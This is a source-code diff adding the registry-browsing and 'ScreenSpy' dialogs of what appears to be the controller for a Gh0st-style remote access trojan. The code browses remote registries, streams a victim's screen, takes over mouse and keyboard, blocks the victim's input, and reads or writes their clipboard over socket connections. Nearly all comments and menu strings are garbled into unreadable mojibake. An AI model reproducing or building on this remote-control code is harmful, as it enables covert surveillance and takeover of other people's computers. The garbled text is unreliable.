m_ControlList.SetItemText(nitem,2,"(<28><><EFBFBD><EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD>ֵ)");
|
||||||
|
|
||||||
|
strFullPath.Insert(0,bToken);//<2F><><EFBFBD><EFBFBD> <20>Ǹ<EFBFBD><C7B8><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
bToken=COMMAND_REG_FIND;
|
||||||
|
strFullPath.Insert(0,bToken); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD> [COMMAND_REG_FIND][x]
|
||||||
|
|
||||||
|
m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1);
|
||||||
|
|
||||||
|
m_isEnable = TRUE;
|
||||||
|
|
||||||
|
*pResult = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
CString CRegisterDlg::GetFullPath(HTREEITEM hCurrent)
|
||||||
|
{
|
||||||
|
CString strTemp;
|
||||||
|
CString strReturn = "";
|
||||||
|
while(1)
|
||||||
|
{
|
||||||
|
if(hCurrent==m_hRoot)
|
||||||
|
{
|
||||||
|
return strReturn;
|
||||||
|
}
|
||||||
|
strTemp = m_Tree.GetItemText(hCurrent);
|
||||||
|
if(strTemp.Right(1) != "\\")
|
||||||
|
strTemp += "\\";
|
||||||
|
strReturn = strTemp + strReturn;
|
||||||
|
hCurrent = m_Tree.GetParentItem(hCurrent); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
}
|
||||||
|
return strReturn;
|
||||||
|
}
|
||||||
|
|
||||||
|
char CRegisterDlg::GetFatherPath(CString& strFullPath)
|
||||||
|
{
|
||||||
|
char bToken;
|
||||||
|
if(!strFullPath.Find("HKEY_CLASSES_ROOT")) //<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
|
||||||
|
bToken=MHKEY_CLASSES_ROOT;
|
||||||
|
strFullPath.Delete(0,sizeof("HKEY_CLASSES_ROOT"));
|
||||||
|
}else if(!strFullPath.Find("HKEY_CURRENT_USER"))
|
||||||
|
{
|
||||||
|
bToken=MHKEY_CURRENT_USER;
|
||||||
|
strFullPath.Delete(0,sizeof("HKEY_CURRENT_USER"));
|
||||||
|
|
||||||
|
}else if(!strFullPath.Find("HKEY_LOCAL_MACHINE"))
|
||||||
|
{
|
||||||
|
bToken=MHKEY_LOCAL_MACHINE;
|
||||||
|
strFullPath.Delete(0,sizeof("HKEY_LOCAL_MACHINE"));
|
||||||
|
|
||||||
|
}else if(!strFullPath.Find("HKEY_USERS"))
|
||||||
|
{
|
||||||
|
bToken=MHKEY_USERS;
|
||||||
|
strFullPath.Delete(0,sizeof("HKEY_USERS"));
|
||||||
|
|
||||||
|
}else if(!strFullPath.Find("HKEY_CURRENT_CONFIG"))
|
||||||
|
{
|
||||||
|
bToken=MHKEY_CURRENT_CONFIG;
|
||||||
|
strFullPath.Delete(0,sizeof("HKEY_CURRENT_CONFIG"));
|
||||||
|
|
||||||
|
}
|
||||||
|
return bToken;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CRegisterDlg::OnReceiveComplete(void)
|
||||||
|
{
|
||||||
|
switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0])
|
||||||
|
{
|
||||||
|
|
||||||
|
case TOKEN_REG_PATH:
|
||||||
|
{
|
||||||
|
AddPath((char*)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1)));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case TOKEN_REG_KEY:
|
||||||
|
{
|
||||||
|
AddKey((char*)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1)));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
default:
|
||||||
|
// <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
struct REGMSG{
|
||||||
|
int count; //<2F><><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>
|
||||||
|
DWORD size; //<2F><><EFBFBD>ִ<EFBFBD>С
|
||||||
|
DWORD valsize; //ֵ<><D6B5>С
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
void CRegisterDlg::AddPath(char* szBuffer)
|
||||||
|
{
|
||||||
|
if(szBuffer==NULL) return;
|
||||||
|
int msgsize=sizeof(REGMSG);
|
||||||
|
REGMSG msg;
|
||||||
|
memcpy((void*)&msg,szBuffer,msgsize);
|
||||||
|
DWORD size =msg.size;
|
||||||
|
int count=msg.count;
|
||||||
|
|
||||||
|
if(size>0&&count>0){ //һ<>㱣<EFBFBD><E3B1A3><EFBFBD><EFBFBD>ʩ
|
||||||
|
for(int i=0;i<count;i++){
|
||||||
|
char* szKeyName=szBuffer+size*i+msgsize;
|
||||||
|
m_Tree.InsertItem(szKeyName,1,1,m_hSelectedItem,0);//<2F><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD><D3BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
m_Tree.Expand(m_hSelectedItem,TVE_EXPAND);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CRegisterDlg::AddKey(char* szBuffer)
|
||||||
|
{
|
||||||
|
m_ControlList.DeleteAllItems();
|
||||||
|
int iItem=m_ControlList.InsertItem(0,"(Data)",0);
|
||||||
|
m_ControlList.SetItemText(iItem,1,"REG_SZ");
|
||||||
|
m_ControlList.SetItemText(iItem,2,"(NULL)");
|
||||||
|
|
||||||
|
if(szBuffer==NULL) return;
|
||||||
|
REGMSG msg;
|
||||||
|
memcpy((void*)&msg,szBuffer,sizeof(msg));
|
||||||
|
char* szTemp=szBuffer+sizeof(msg);
|
||||||
|
for(int i=0;i<msg.count;i++)
|
||||||
|
{
|
||||||
|
BYTE Type=szTemp[0]; //<2F><><EFBFBD><EFBFBD>
|
||||||
|
szTemp+=sizeof(BYTE);
|
||||||
|
char* szValueName=szTemp; //ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
szTemp+=msg.size;
|
||||||
|
BYTE* szValueDate=(BYTE*)szTemp; //ȡ<><C8A1>ֵ
|
||||||
|
szTemp+=msg.valsize;
|
||||||
|
if(Type==MREG_SZ)
|
||||||
|
{
|
||||||
|
int iItem=m_ControlList.InsertItem(0,szValueName,0);
|
||||||
|
m_ControlList.SetItemText(iItem,1,"REG_SZ");
|
||||||
|
m_ControlList.SetItemText(iItem,2,(char*)szValueDate);
|
||||||
|
}
|
||||||
|
if(Type==MREG_DWORD)
|
||||||
|
{
|
||||||
|
char ValueDate[256];
|
||||||
|
DWORD d=(DWORD)szValueDate;
|
||||||
|
memcpy((void*)&d,szValueDate,sizeof(DWORD));
|
||||||
|
CString strValue;
|
||||||
|
strValue.Format("0x%x",d);
|
||||||
|
sprintf(ValueDate," (%wd)",d);
|
||||||
|
strValue+=" ";
|
||||||
|
strValue+=ValueDate;
|
||||||
|
int iItem=m_ControlList.InsertItem(0,szValueName,1);
|
||||||
|
m_ControlList.SetItemText(iItem,1,"REG_DWORD");
|
||||||
|
m_ControlList.SetItemText(iItem,2,strValue);
|
||||||
|
}
|
||||||
|
if(Type==MREG_BINARY)
|
||||||
|
{
|
||||||
|
char ValueDate[256];
|
||||||
|
sprintf(ValueDate,"%wd",szValueDate);
|
||||||
|
|
||||||
|
int iItem=m_ControlList.InsertItem(0,szValueName,1);
|
||||||
|
m_ControlList.SetItemText(iItem,1,"REG_BINARY");
|
||||||
|
m_ControlList.SetItemText(iItem,2,ValueDate);
|
||||||
|
}
|
||||||
|
if(Type==MREG_EXPAND_SZ)
|
||||||
|
{
|
||||||
|
int iItem=m_ControlList.InsertItem(0,szValueName,0);
|
||||||
|
m_ControlList.SetItemText(iItem,1,"REG_EXPAND_SZ");
|
||||||
|
m_ControlList.SetItemText(iItem,2,(char*)szValueDate);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
46
server/2015Remote/RegisterDlg.h
Normal file
46
server/2015Remote/RegisterDlg.h
Normal file
@@ -0,0 +1,46 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "afxcmn.h"
|
||||||
|
|
||||||
|
#include "IOCPServer.h"
|
||||||
|
|
||||||
|
// CRegisterDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
|
class CRegisterDlg : public CDialog
|
||||||
|
{
|
||||||
|
DECLARE_DYNAMIC(CRegisterDlg)
|
||||||
|
|
||||||
|
public:
|
||||||
|
CRegisterDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||||
|
virtual ~CRegisterDlg();
|
||||||
|
CONTEXT_OBJECT* m_ContextObject;
|
||||||
|
IOCPServer* m_iocpServer;
|
||||||
|
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
enum { IDD = IDD_DIALOG_REGISTER };
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
public:
|
||||||
|
CTreeCtrl m_Tree;
|
||||||
|
CImageList m_ImageListTree; //<2F><><EFBFBD>ؼ<EFBFBD><D8BC>ϵ<EFBFBD>ͼ<EFBFBD><CDBC>
|
||||||
|
CListCtrl m_ControlList;
|
||||||
|
CImageList m_ImageListControlList; //ControlList<73>ϵ<EFBFBD>ͼ<EFBFBD><CDBC>
|
||||||
|
HICON m_hIcon;
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
afx_msg void OnClose();
|
||||||
|
HTREEITEM m_hRoot;
|
||||||
|
HTREEITEM HKLM;
|
||||||
|
HTREEITEM HKCR;
|
||||||
|
HTREEITEM HKCU;
|
||||||
|
HTREEITEM HKUS;
|
||||||
|
HTREEITEM HKCC;
|
||||||
|
HTREEITEM m_hSelectedItem;
|
||||||
|
BOOL m_isEnable;
|
||||||
|
char CRegisterDlg::GetFatherPath(CString& strFullPath);
|
||||||
|
CString CRegisterDlg::GetFullPath(HTREEITEM hCurrent);
|
||||||
|
afx_msg void OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
|
void CRegisterDlg::OnReceiveComplete(void);
|
||||||
|
void CRegisterDlg::AddPath(char* szBuffer);
|
||||||
|
void CRegisterDlg::AddKey(char* szBuffer);
|
||||||
|
};
|
||||||
520
server/2015Remote/ScreenSpyDlg.cpp
Normal file
520
server/2015Remote/ScreenSpyDlg.cpp
Normal file
@@ -0,0 +1,520 @@
|
|||||||
|
// ScreenSpyDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "2015Remote.h"
|
||||||
|
#include "ScreenSpyDlg.h"
|
||||||
|
#include "afxdialogex.h"
|
||||||
|
|
||||||
|
|
||||||
|
// CScreenSpyDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
|
enum
|
||||||
|
{
|
||||||
|
IDM_CONTROL = 0x1010,
|
||||||
|
IDM_SEND_CTRL_ALT_DEL,
|
||||||
|
IDM_TRACE_CURSOR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾԶ<CABE><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
IDM_BLOCK_INPUT, // <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
IDM_SAVEDIB, // <20><><EFBFBD><EFBFBD>ͼƬ
|
||||||
|
IDM_GET_CLIPBOARD, // <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
IDM_SET_CLIPBOARD, // <20><><EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
};
|
||||||
|
|
||||||
|
IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
|
||||||
|
|
||||||
|
#define ALGORITHM_DIFF 1
|
||||||
|
|
||||||
|
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||||
|
: CDialog(CScreenSpyDlg::IDD, Parent)
|
||||||
|
{
|
||||||
|
m_iocpServer = IOCPServer;
|
||||||
|
m_ContextObject = ContextObject;
|
||||||
|
|
||||||
|
CHAR szFullPath[MAX_PATH];
|
||||||
|
GetSystemDirectory(szFullPath, MAX_PATH);
|
||||||
|
lstrcat(szFullPath, "\\shell32.dll"); //ͼ<><CDBC>
|
||||||
|
m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szFullPath, 17);
|
||||||
|
m_hCursor = LoadCursor(AfxGetApp()->m_hInstance,IDC_ARROW);
|
||||||
|
|
||||||
|
sockaddr_in ClientAddr;
|
||||||
|
memset(&ClientAddr, 0, sizeof(ClientAddr));
|
||||||
|
int ulClientAddrLen = sizeof(sockaddr_in);
|
||||||
|
BOOL bOk = getpeername(m_ContextObject->sClientSocket,(SOCKADDR*)&ClientAddr, &ulClientAddrLen);
|
||||||
|
|
||||||
|
m_strClientIP = bOk != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
|
||||||
|
|
||||||
|
m_bIsFirst = TRUE;
|
||||||
|
m_ulHScrollPos = 0;
|
||||||
|
m_ulVScrollPos = 0;
|
||||||
|
|
||||||
|
if (m_ContextObject==NULL)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
ULONG ulBitmapInforLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1;
|
||||||
|
m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapInforLength];
|
||||||
|
|
||||||
|
if (m_BitmapInfor_Full==NULL)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
memcpy(m_BitmapInfor_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), ulBitmapInforLength);
|
||||||
|
|
||||||
|
m_bIsCtrl = FALSE;
|
||||||
|
m_bIsTraceCursor = FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID CScreenSpyDlg::SendNext(void)
|
||||||
|
{
|
||||||
|
BYTE bToken = COMMAND_NEXT;
|
||||||
|
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
CScreenSpyDlg::~CScreenSpyDlg()
|
||||||
|
{
|
||||||
|
if (m_BitmapInfor_Full!=NULL)
|
||||||
|
{
|
||||||
|
delete m_BitmapInfor_Full;
|
||||||
|
m_BitmapInfor_Full = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
::ReleaseDC(m_hWnd, m_hFullDC); //GetDC
|
||||||
|
::DeleteDC(m_hFullMemDC); //Createƥ<65><C6A5><EFBFBD>ڴ<EFBFBD>DC
|
||||||
|
|
||||||
|
::DeleteObject(m_BitmapHandle);
|
||||||
|
if (m_BitmapData_Full!=NULL)
|
||||||
|
{
|
||||||
|
m_BitmapData_Full = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CScreenSpyDlg::DoDataExchange(CDataExchange* pDX)
|
||||||
|
{
|
||||||
|
CDialog::DoDataExchange(pDX);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
|
||||||
|
ON_WM_CLOSE()
|
||||||
|
ON_WM_PAINT()
|
||||||
|
ON_WM_SYSCOMMAND()
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
|
// CScreenSpyDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
|
||||||
|
BOOL CScreenSpyDlg::OnInitDialog()
|
||||||
|
{
|
||||||
|
CDialog::OnInitDialog();
|
||||||
|
SetIcon(m_hIcon,FALSE);
|
||||||
|
|
||||||
|
CString strString;
|
||||||
|
strString.Format("%s - Զ<><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> %d<><64>%d", m_strClientIP,
|
||||||
|
m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||||
|
SetWindowText(strString);
|
||||||
|
|
||||||
|
m_hFullDC = ::GetDC(m_hWnd);
|
||||||
|
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
||||||
|
m_BitmapHandle = CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
|
||||||
|
DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); //<2F><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>д<EFBFBD><D0B4><EFBFBD>ġ<EFBFBD><C4A1><EFBFBD><EFBFBD>豸<EFBFBD>ص<DEB9>λͼ
|
||||||
|
|
||||||
|
SelectObject(m_hFullMemDC, m_BitmapHandle);//<2F><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD>
|
||||||
|
|
||||||
|
SetScrollRange(SB_HORZ, 0, m_BitmapInfor_Full->bmiHeader.biWidth); //ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Χ<EFBFBD><CEA7><EFBFBD><EFBFBD>Сֵ<D0A1><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
||||||
|
SetScrollRange(SB_VERT, 0, m_BitmapInfor_Full->bmiHeader.biHeight);//1366 768
|
||||||
|
|
||||||
|
CMenu* SysMenu = GetSystemMenu(FALSE);
|
||||||
|
if (SysMenu != NULL)
|
||||||
|
{
|
||||||
|
SysMenu->AppendMenu(MF_SEPARATOR);
|
||||||
|
SysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ(&Y)");
|
||||||
|
SysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "<EFBFBD><EFBFBD><EFBFBD>ٱ<EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(&T)");
|
||||||
|
SysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ<EFBFBD><EFBFBD><EFBFBD>(&L)");
|
||||||
|
SysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(&S)");
|
||||||
|
SysMenu->AppendMenu(MF_SEPARATOR);
|
||||||
|
SysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "<EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(&R)");
|
||||||
|
SysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "<EFBFBD><EFBFBD><EFBFBD>ü<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(&L)");
|
||||||
|
SysMenu->AppendMenu(MF_SEPARATOR);
|
||||||
|
}
|
||||||
|
|
||||||
|
m_bIsCtrl = FALSE; //<2F><><EFBFBD>ǿ<EFBFBD><C7BF><EFBFBD>
|
||||||
|
m_bIsTraceCursor = FALSE; //<2F><><EFBFBD>Ǹ<EFBFBD><C7B8><EFBFBD>
|
||||||
|
m_ClientCursorPos.x = 0;
|
||||||
|
m_ClientCursorPos.y = 0;
|
||||||
|
|
||||||
|
SendNext();
|
||||||
|
|
||||||
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
|
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID CScreenSpyDlg::OnClose()
|
||||||
|
{
|
||||||
|
m_ContextObject->v1 = 0;
|
||||||
|
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
||||||
|
closesocket(m_ContextObject->sClientSocket);
|
||||||
|
|
||||||
|
CDialog::OnClose();
|
||||||
|
delete this;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID CScreenSpyDlg::OnReceiveComplete()
|
||||||
|
{
|
||||||
|
if (m_ContextObject==NULL)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
switch(m_ContextObject->InDeCompressedBuffer.GetBuffer()[0])
|
||||||
|
{
|
||||||
|
case TOKEN_FIRSTSCREEN:
|
||||||
|
{
|
||||||
|
DrawFirstScreen(); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE>һ֡ͼ<D6A1><CDBC> һ<><D2BB>ת<EFBFBD><D7AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case TOKEN_NEXTSCREEN:
|
||||||
|
{
|
||||||
|
if (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[1]==ALGORITHM_DIFF)
|
||||||
|
{
|
||||||
|
DrawNextScreenDiff();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case TOKEN_CLIPBOARD_TEXT: //<2F><><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
UpdateServerClipboard((char*)m_ContextObject->InDeCompressedBuffer.GetBuffer(1), m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CScreenSpyDlg::DrawFirstScreen(void)
|
||||||
|
{
|
||||||
|
m_bIsFirst = FALSE;
|
||||||
|
|
||||||
|
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>HBITMAP<41>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ͼ<EFBFBD><CDBC><EFBFBD>ͳ<EFBFBD><CDB3><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
memcpy(m_BitmapData_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||||
|
|
||||||
|
PostMessage(WM_PAINT);//<2F><><EFBFBD><EFBFBD>WM_PAINT<4E><54>Ϣ
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CScreenSpyDlg::DrawNextScreenDiff(void)
|
||||||
|
{
|
||||||
|
//<2F>ú<EFBFBD><C3BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD>ӻ<EFBFBD><D3BB><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD>Ǹ<EFBFBD><C7B8><EFBFBD>һ<EFBFBD>±仯<C2B1><E4BBAF><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>Ȼ<EFBFBD><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
//OnPaint<6E><74><EFBFBD><EFBFBD>ȥ
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ƶ<EFBFBD><C6B6><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>Ƿ<EFBFBD><C7B7>仯<EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD>꣬<EFBFBD><EAA3AC>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˸
|
||||||
|
BOOL bChange = FALSE;
|
||||||
|
ULONG ulHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // <20><>ʶ + <20>㷨 + <20><><EFBFBD><EFBFBD> λ<><CEBB> + <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
LPVOID FirstScreenData = m_BitmapData_Full;
|
||||||
|
LPVOID NextScreenData = m_ContextObject->InDeCompressedBuffer.GetBuffer(ulHeadLength);
|
||||||
|
ULONG NextScreenLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - ulHeadLength;
|
||||||
|
|
||||||
|
POINT OldClientCursorPos;
|
||||||
|
memcpy(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT));
|
||||||
|
memcpy(&m_ClientCursorPos, m_ContextObject->InDeCompressedBuffer.GetBuffer(2), sizeof(POINT));
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><C6B6><EFBFBD>
|
||||||
|
if (memcmp(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT)) != 0)
|
||||||
|
{
|
||||||
|
bChange = TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>仯
|
||||||
|
|
||||||
|
// <20><>Ļ<EFBFBD>Ƿ<EFBFBD><C7B7>仯
|
||||||
|
if (NextScreenLength > 0)
|
||||||
|
{
|
||||||
|
bChange = TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
//lodsdָ<64><D6B8><EFBFBD><EFBFBD>ESIָ<49><D6B8><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>λ<EFBFBD><CEBB>4<EFBFBD><34><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7><EFBFBD>EAX<41>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4
|
||||||
|
//movsbָ<62><D6B8><EFBFBD>ֽڴ<D6BD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>ͨ<EFBFBD><CDA8>SI<53><49>DI<44><49><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4>ַ<EFBFBD><D6B7>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD>ַ
|
||||||
|
|
||||||
|
//m_rectBuffer [0002 esi0002 esi000A 000C] [][]edi[][][][][][][][][][][][][][][][][]
|
||||||
|
__asm
|
||||||
|
{
|
||||||
|
mov ebx, [NextScreenLength] //ebx 16
|
||||||
|
mov esi, [NextScreenData]
|
||||||
|
jmp CopyEnd
|
||||||
|
CopyNextBlock:
|
||||||
|
mov edi, [FirstScreenData]
|
||||||
|
lodsd // <20><>lpNextScreen<65>ĵ<EFBFBD>һ<EFBFBD><D2BB>˫<EFBFBD>ֽڣ<D6BD><DAA3>ŵ<EFBFBD>eax<61><78>,<2C><><EFBFBD><EFBFBD>DIB<49>иı<D0B8><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
|
||||||
|
add edi, eax // lpFirstScreenƫ<6E><C6AB>eax
|
||||||
|
lodsd // <20><>lpNextScreen<65><6E><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>˫<EFBFBD>ֽڣ<D6BD><DAA3>ŵ<EFBFBD>eax<61><78>, <20><><EFBFBD>Ǹı<C7B8><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD>С
|
||||||
|
mov ecx, eax
|
||||||
|
sub ebx, 8 // ebx <20><>ȥ <20><><EFBFBD><EFBFBD>dword
|
||||||
|
sub ebx, ecx // ebx <20><>ȥDIB<49><42><EFBFBD>ݵĴ<DDB5>С
|
